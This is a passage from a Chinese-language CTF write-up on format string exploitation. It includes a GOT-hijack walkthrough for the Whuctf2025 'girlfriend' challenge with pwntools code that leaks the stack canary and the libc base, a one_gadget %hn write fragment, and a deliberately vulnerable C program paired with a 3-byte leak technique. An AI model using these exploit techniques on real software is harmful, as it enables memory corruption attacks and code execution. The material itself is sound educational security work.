payload2 += b"%" + str(one_gadget_6).encode("utf-8") + b"c%46$hn"

add(20,0x100,payload2)

show(20)

无printf(buf)的格式化字符串漏洞

以Whuctf2025新生赛的girlfriend举例

劫持puts的got表成printf,由安全的puts(buf)到危险的printf(buf)

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int n4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_1349(a1, a2, a3);
while ( 1 )
{
sub_179C();
__isoc99_scanf("%d", &n4);
getchar();
if ( n4 > 4 || n4 <= 0 )
break;
switch ( n4 )
{
case 4:
sub_1ADB();
puts("Looks like you're still in the dream.");
break;
case 3:
sub_1A33();
break;
case 1:
sub_1801();
break;
default:
sub_1903();
break;
}
}
puts("Hey, what are you doing?");
exit(1);
}
 ~/Whuctf/girlfriend  checksec pwn                                                                                         
[*] '/home/ubuntu/Whuctf/girlfriend/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

保护几乎全开,只有Partial RELRO,很有概率GOT劫持,但是不知道劫持什么

unsigned __int64 sub_1903()
{
__int64 v1; // [rsp+8h] [rbp-18h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0LL;
ptr = malloc(0x10uLL);
if ( byte_40B0 != 1 )
{
puts("Get out of here!");
}
else
{
puts("Welcome to my flower shop.");
puts("You could order a flower for your girlfriend.");
puts("Do you want to order?");
sub_1615(ptr, 16LL);
if ( *(_BYTE *)ptr == 121 || *(_BYTE *)ptr == 89 )
{
puts("Where does she live?");
sub_1615(&v1, 8LL);
puts("What flower do you want to order for her?");
sub_1615(v1, 3LL);
puts("Welcome back!");
free(ptr);
byte_40B0 = 0;
}
else
{
puts("See you next time!");
}
}
return v3 - __readfsqword(0x28u);
}

跳过其他内容,主要讲一下格式化字符串漏洞

可以实现任意地址写,虽然只能写3个字节

有了elf地址就有了got地址,又能实现任意写改部分地址,几乎可以肯定可以用got hijack

输出函数中只有puts和printf

突然想起来printf(ptr)威力更强,可以利用格式化字符串漏洞同时泄露canary和栈上的__libc_start_main地址,进而得到libc基址

所以使用got hijack将puts改为printf,就可以实现格式化字符串漏洞了,泄露的exp也在下面

p.recvuntil(b"-->>")
p.sendline(str(1))
p.recvuntil(b"i can keep it a secret for you.")
p.sendline(decrypt_data(b"y",1))
p.recvuntil(b"What do you want to say?")
payload2=b"%11$p"
p.sendline(decrypt_data(payload2,5))
p.recvuntil(b"You said: ")
p.recvuntil(b"0x")
canary_hex = p.recv(16)
canary = int(canary_hex, 16)
print(f"提取到的Canary: 0x{canary_hex.decode()}")
# 泄露canary

p.recvuntil(b"-->>")
p.sendline(str(1))
p.recvuntil(b"i can keep it a secret for you.")
p.sendline(decrypt_data(b"y",1))
p.recvuntil(b"What do you want to say?")
payload10=b"%33$p"
p.sendline(decrypt_data(payload10,5))
p.recvuntil(b"You said: ")
p.recvuntil(b"0x")
canary_hex = p.recv(12)
libc_base = int(canary_hex, 16)-libc.sym["__libc_start_main"]-0x80
print(hex(libc_base))
# 泄露libc地址

溢出覆盖固定字符串

一般来说硬编码的字符串是在rodata上的,但是如果将字符串储存在bss段上,恰好又有bss的溢出,那么利用溢出覆盖bss段上的固定字符串也可以实现格式化字符串漏洞

限制长度的格式化字符串漏洞

比如这样的格式化字符串漏洞

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void do_printf()
{
char buf[4];

if (scanf("%3s", buf) <= 0)
exit(1);

printf("Here: ");
printf(buf);
}

void do_call()
{
void (*ptr)(const char *);

if (scanf("%p", &ptr) <= 0)
exit(1);

ptr("/bin/sh");
}

int main()
{
int choice;

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

while (1)
{
puts("1. printf");
puts("2. call");

if (scanf("%d", &choice) <= 0)
break;

switch (choice)
{
case 1:
do_printf();
break;
case 2:
do_call();
break;
default:
puts("Invalid choice!");
exit(1);
}
}

return 0;
}
//gcc -g -o ./formal-string ./formal-string.c -fstack-protector-all -Wl,-z,relro,-z,now

只有3个字符的格式化字符串漏洞似乎没有什么方法应对

首先只能使用一个%,两个%至少要4字节

其次无法指定参数,%n$p之类的统统不行

只有%[specifier]、%[1~9][specifier]、%*[specifier]之类

由于这是64位程序,也就是说我们的格式化字符串漏洞只能泄露rsi中的内容,也就是说要通过rsi泄露得到libc的地址

这涉及了一个有意思的点

 ~/heap/formal-string  ./formal-string                                                                                   
1. printf
2. call
1
%s1
Here: Here: 11. printf
2. call
1
%s1
Here: Here: 111. printf
2. call
1
%s1
Here: Here: 1111. printf
2. call
1
%s1
Here: Here: 11111. printf
2. call
1
%s1
Here: Here: 111111. printf
2. call

可以看见,我们的输入是一样的,可是1长度越来越长,这说明了有一个东西储存着我们的1

那么这个地方是哪里呢

在输入了足够多次的%sX后,发现

pwndbg> search -p 0x5858585858585858
Searching for a pointer-width integer: b'XXXXXXXX'
[stack] 0x7fff593fad46 0x5858585858585858 ('XXXXXXXX')
......
[stack] 0x7fff593fbf0e 0x5858585858585858 ('XXXXXXXX')

这是一个栈上的内容,并且当前栈帧rsp 0x7fff593fcb60地址高

意味着我们输入特定长的数据就可以将后面连接的地址一同打印出来,这样就实现了泄露

l = log.progress("")
buf = b"Here: "
for i in range(0x2000):
l.status(f"{i}/{0x2000}")
out = printf("%sX")
if out != buf + b"X"*(i+1):
break
l.success(f"Found at {i}!")

print(out)
# 0x11d2

这样我们得到了ld的地址

pwndbg> tele 0x7fff593fbf10
00:0000│ 0x7fff593fbf10 ◂— 0x5858585858585858 ('XXXXXXXX')
01:0008│ 0x7fff593fbf18 —▸ 0x75ce0a8e738d (_dl_map_object_from_fd+2860) ◂— cmp rax, -1
02:0010│ 0x7fff593fbf20 ◂— 0
03:0018│ 0x7fff593fbf28 ◂— 0x2c000
04:0020│ 0x7fff593fbf30 ◂— 0x2bf10
05:0028│ 0x7fff593fbf38 ◂— 0x2bf10
06:0030│ 0x7fff593fbf40 ◂— 0x1000
07:0038│ 0x7fff593fbf48 ◂— 0

在我的glibc版本中此时ld和libc的地址差是固定的,因此可以算出libc.system的地址

很不幸,这个只能在2.37前使用,因为这个依赖的函数buffered_vfprintf在2.37被移除了

printf -> __vfprintf_internal,在__vfprintf_internal函数中,有

if (UNBUFFERED_P (s))
/* Use a helper function which will allocate a local temporary buffer
for the stream and then call us again. */
return buffered_vfprintf (s, format, ap, mode_flags);

也就是说,处理无缓冲流是会调用这个函数,而在这个函数中

static int
buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args,
unsigned int mode_flags)
{
CHAR_T buf[BUFSIZ];
struct helper_file helper;
FILE *hp = (FILE *) &helper._f;
int result, to_flush;

产生了一个栈变量来储存

在后续的buffered_vfprintf -> _IO_sputn -> -> _IO_new_file_xsputn -> _IO_new_file_write

ssize_t
_IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
ssize_t to_do = n;
while (to_do > 0)
{
ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? __write_nocancel (f->_fileno, data, to_do)
: __write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}

这时data被写入rsi,而后面再也没有了改变rsi的函数,这使得rsi被保存下来

以上就是对格式化字符串漏洞的一些利用方式。